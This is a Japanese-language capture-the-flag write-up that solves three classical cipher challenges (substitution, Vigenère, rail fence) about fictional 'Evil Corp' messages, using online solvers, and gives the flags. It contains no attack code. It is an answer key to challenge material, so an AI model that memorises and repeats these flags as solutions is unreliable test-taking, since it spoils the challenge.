CYBMJ HCLBU YMFLT QJOAP PJMUG
RIOMM UFYXF LAAPF WGPFP LMMUF
RLTFM GTFMJ HJJKL KOLAA FLXFI
FRMJZ AOWVL HFKMI MUFRF WCFMW
JPFGR PJWOT FKMR

quipqiupで復号する。

AGENT ITS GREAT TO HAVE YOU HERE WEVE FOUND OUT THAT SOME EMPLOYEES OF EVIL CORP HAVE BEEN SENDING SECRET MESSAGES BETWEEN EACH OTHER BUT THEYRE ENCRYPTED WERE GOING TO NEED TO DECRYPT THEM TO WORK OUT IF THERES SOMETHING ILLEGAL GOING ON AND GET THEM ARRESTED NORMALY THE CRYPTOGRAPHY TEAM WOULD DO THIS BUT THEYVE ALL DECIDED AT THE SAME TIME TO GO ON ANUAL LEAVE BEST OF LUCK AGENT B THE SECRET CODE IS DOCUMENTS
DOCUMENTS

02 (Cryptography 200)

問題の暗号文は以下の通り。

KFCHT QXXKR FSAHX IEIYP GYZRX
YXCKK OKYPG YLNIX BQRFU WFKEH
LNYGC VBDGT NVIMF NJJLV HJEJY
PGZFO IKQTL KBJKW TXNEH FVEHD
PQJBG MYEYW IPLRC YNWPM YEKNV
CEKRF SAHXI MFDVG XUTTG MRXIF
TWUGW ZNUJZ UHEBJ FKWLV MDECT
BTHGF VMTGP JFZUM FHFAM UNJPN
HQQGJ AGTCV MYEVZ IPMZT NJAQY
DOSJG DXZNL RWXXU AWTCP WZFDT
CCKVA AFQNT SLJBM ETEAW FVIXR
MJJBK GXPTN VVTED HTURE VTJYP
GWVAQ DWWKJ DTSVK X

The flag is the location of the bank

Vigenere暗号と推測して、https://www.guballa.de/vigenere-solverで復号する。

ROCCOIVE TRANSFERED THE FIRST PART OF THE FUNDS TO YOUR ACCOUNT BUT I'M GOING TO NEED TO SEET HE GOOD FIRST BEFORE WE CAN COMPLETE THE TRANSACTION THE FINAL TRANSFER MAY NEED TO BE PERFORMED IN PERSON BEACUSE MY ZURICH BANK APPEARS TO HAVE SUSPICIONS ABOUT THE QUANTITIES OF MONEY BEING MOVED AROUND IF YOU ARE AVAILABLE WE CAN ARANGE A MEETING POINT AND COMPLETE THE DEAL YOURS DONNIE
ZURICH

03 (Cryptography 300)

問題の暗号文は以下の通り。

GTHTI UHWSE ESLDL MUSDO RIROA
SRGER TAETL VSSAT OAONT EGESN
EOTNT GWPWI AFLAE OAIYA EAWTT
SMENO LTOTO AIASH RKLIC EEEYO
ESSUR NDBTA TNOES CMORI CEEIW
GDECO HSGEN UISIY EAERE YBEHT
LSRLN ADFHR SNTRM SUACU TTNRH
EWDHA EEIIO RHEND PFOLT TGHSC
DULWT NSNEO IHREG EWDEU IUEMC
APIOI VORFT USTGP OOAOE HEOER
BOEPB DHOBA BEATT ENESE WTBTK
KEIED ICTIR EPOTE LLENO EEPIO
IAAMC ONONY OEHEN ESIMT LFEIV
CEHOR AHSET ETENL EHAPS TRRWE
ISAVR HVGTL BPERI TOKER AIIPO
HNIIC ONIAP BSMMF HAYST UDLYM
NONPA REBTH MLOEH NRTEU ITOCY
GSSIE VOEMR ODTEI IEENI CUOFS
WFUMS TAHSP PCILD OOYUE ENBCE
IAEVO TAEGK FSEAH DLCLE PNTIC
CNPEE TNOLL AITME EOTCH RMRIT
ANANH LWTOU EOECA AHUTO BTRSA
UC

CryptoCrackでいろんな暗号でクラックしてみたら、Railfenceで復号できた。

Rails: 5  Offset: 7
agentgreatworkwiththefirstmessageineverwouldhavethoughtitwouldbeasimplecaesarcipheritlookslikeevilcorparedefinitelyuptosomethingsuspiciousroccoanddonniebothappeartobeseniormembersofthecompanyboardsothiscouldbereallybigwemanagedtointerceptanothermessagebetweenthembutitlooksliketheyveincreasedtheirsecurityabitmorethecryptologistsarestillonleaveandnoneofthemarerespondingtotheiremailiassumewecancontinuetocountonyouforthesewhenwefoundthemessageitcamewithaslipofpaperwhichiveincludedaphotoofforyouallthebestagentbthesecretcodeisanualleavewithoutanyspaces

スペースを入れていくと、こんな感じの文章。

agent great work with the first message in ever would have thought it would be a simple caesar cipher it looks like evil corp are definitely up to something suspicious rocco and donnie both appear to be senior member soft he company board so this could be really big we managed to intercept another message between them but it looks like they've increased their security a bit more the cryptologists are still on leave and none of them are responding to their email i assume we can continue to count on you for these when we found the message it came with as lip of paper which i've included a photo of for you all the best agent b the secret code is anual leave without any spaces
ANUALLEAVE